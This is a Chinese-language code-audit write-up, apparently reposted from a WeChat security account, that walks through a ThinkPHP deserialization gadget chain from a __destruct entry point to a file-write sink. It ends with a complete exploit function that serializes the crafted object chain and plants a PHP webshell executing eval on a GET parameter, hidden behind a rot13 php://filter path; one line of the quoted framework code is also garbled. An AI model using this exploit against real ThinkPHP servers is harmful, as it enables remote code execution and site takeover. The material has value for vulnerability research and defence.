Thinkphp反序列化代码审计
今天来复现一下tp的反序列化漏洞
在开始进行tp框架反序列化代码审计时,我们需要先了解一些基础的php魔法函数,一下是一些反序列化常用的魔法函数:
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
之后我们在审计时需要找到一个反序列化的入口点,这里直接手动添加一个
访问该路由测试一下
然后我们开始常规审计 一般来说,反序列化漏洞的触发点是__wakeup()或者__destruct(),所以我们直接搜索函数。
经过多次审计我们找到windows.php中的__destruct()函数。
public function __destruct()
{
$this->close();
$this->removeFiles();
}
然后逐个函数跟进去看一眼,在removeFiles()函数中发现我们想要的东西
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
由于file_exists()函数会将变量当作字符串执行所以我们想到__toString魔术方法所以在次搜索该魔术方法的调用
在Model.php中审计到该方法可以利用
public function __toString()
{
return $this->toJson();
}
继续跟进json函数
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
继续跟进去toArray()
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
$data = array_merge($this->data, $this->relation);
// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}
在该函数中找到三处可以触发__call()魔术方法的地方我们选择getAttr()方法来进行触发
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
这里我们选择的触发执行call魔术方法经过审计选择
在调用getAttr()方法之前我们发现value的值被modelRelation);覆盖所以我们要看一下该函数做了什么事走到 else 之后要继续往下走的话先要判断 this->name,继续往上回溯,由于 name 也是可控的,这里可以利用 Model 类中的 getError 方法
public function getError()
{
return $this->erchua
error也是可控的 由于往下传参modelRelation);
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}
可以看到要求变量的类型必须是Relation但是由于该类是抽象类并且该类还需要有getBindAttr()方法要不就没法进到条件里面去了。
所以我们先寻找带有getBindAttr()方法的类
找到OneToOne类发现该类也是抽象类这时候直接找其实现类就可以了
选择其中一个即可这里选择使用HasOne这个类看一下该类的构造函数,构造出来赋值给error即可
public function __construct(Model $parent, $model, $foreignKey, $localKey, $joinType = 'INNER')
{
$this->parent = $parent;
$this->model = $model;
$this->foreignKey = $foreignKey;
$this->localKey = $localKey;
$this->joinType = $joinType;
$this->query = (new $model)->db();
}
继续跟进getRelationData(Relation $modelRelation)该方法,直接排除掉else的逻辑即可里面没啥可控参数
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
}
由于我们选择的call魔术方法为方法选择的是 thinkconsoleOutput 类,所以前面的 this->parent 肯定也thinkconsoleOutput 类对象。我们根据这个判断逻辑前面的parent可控主要是后面get_class()相等这里我们需要跟到get_Model看看
public function getModel()
{
return $this->query->getModel();
}
继续跟进
public function getModel()
{
return $this->model;
}
这里的query与model都是可控的,所以只需要将Output对象传入model里在利用hasone对象做一层封装就可以了,parent直接传入Output对象就可以绕过该判断条件了所以我们可以初步构造一下poc
$model = new Pivot();
$model->setAppend(array("zbz"=>"getError"));
$error = new HasOne(new Merge(), 'thinkmodelMerge','','');
$model->setError($error);
$error->setSelfRelation(false);
$error->setBindAttr(array("zzz"=>"zzj"));
$query = new Query();
$output = new Output();
$output->setStyles(array("getAttr"));
$query->setModel($output);
$error->setQuery($query);
$model->setParent($output);
触发call方法我们继续跟进看看
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}
if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
跟进block方法
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}
继续跟进writeln方法
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}
跟进write方法
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}
这里看到handle是可控的所以可以全局搜索调用有write方法的类
这里找到Memcached.php该类有可以利用的函数
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}
这里发现handler是可控的继续全局搜索set方法这里找到File.php
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}
可以看到options是可控的并且有 file_put_contents 方法可以写入 shell,$filename 可控且可以利用伪协议绕过死亡 exit继续跟进到getCacheKey()该方法发现文件名部分可控所以可以利用为协议做一些事情
protected function getCacheKey($name, $auto = false)
{
$name = md5($name);
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DS . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DS . $name;
}
$filename = $this->options['path'] . $name . '.php';
$dir = dirname($filename);
if ($auto && !is_dir($dir)) {
mkdir($dir, 0755, true);
}
return $filename;
}
但是我们发现后面的data数据写入文件是不可控的所以继续跟进到setTagItem()方法发现又调用了一次set方法()
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}
所以可以结合为协议成功写入shell
exp
public function poc(){
$model = new Pivot();
$model->setAppend(array("zbz"=>"getError"));
$error = new HasOne(new Merge(), 'thinkmodelMerge','','');
$model->setError($error);
$error->setSelfRelation(false);
$error->setBindAttr(array("zzz"=>"zzj"));
$query = new Query();
$output = new Output();
$output->setStyles(array("getAttr"));
$mem = new Memcached();
$file = new File();
$file->setTag(true);
$file->setOptions(array('path'=>'php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>',"cache_subdir"=>false,"prefix"=>false, 'data_compress'=>false));
$mem->setHandler($file);
$output->setHandle($mem);
$query->setModel($output);
$error->setQuery($query);
$model->setParent($output);
$window = new Windows(true,"");
$window->setFiles(array($model));
$poc = urlencode(serialize($window));
echo $poc;
return "";
}
原文始发于微信公众号(不懂安全的果仁):代码审计|Thinkphp反序列化代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论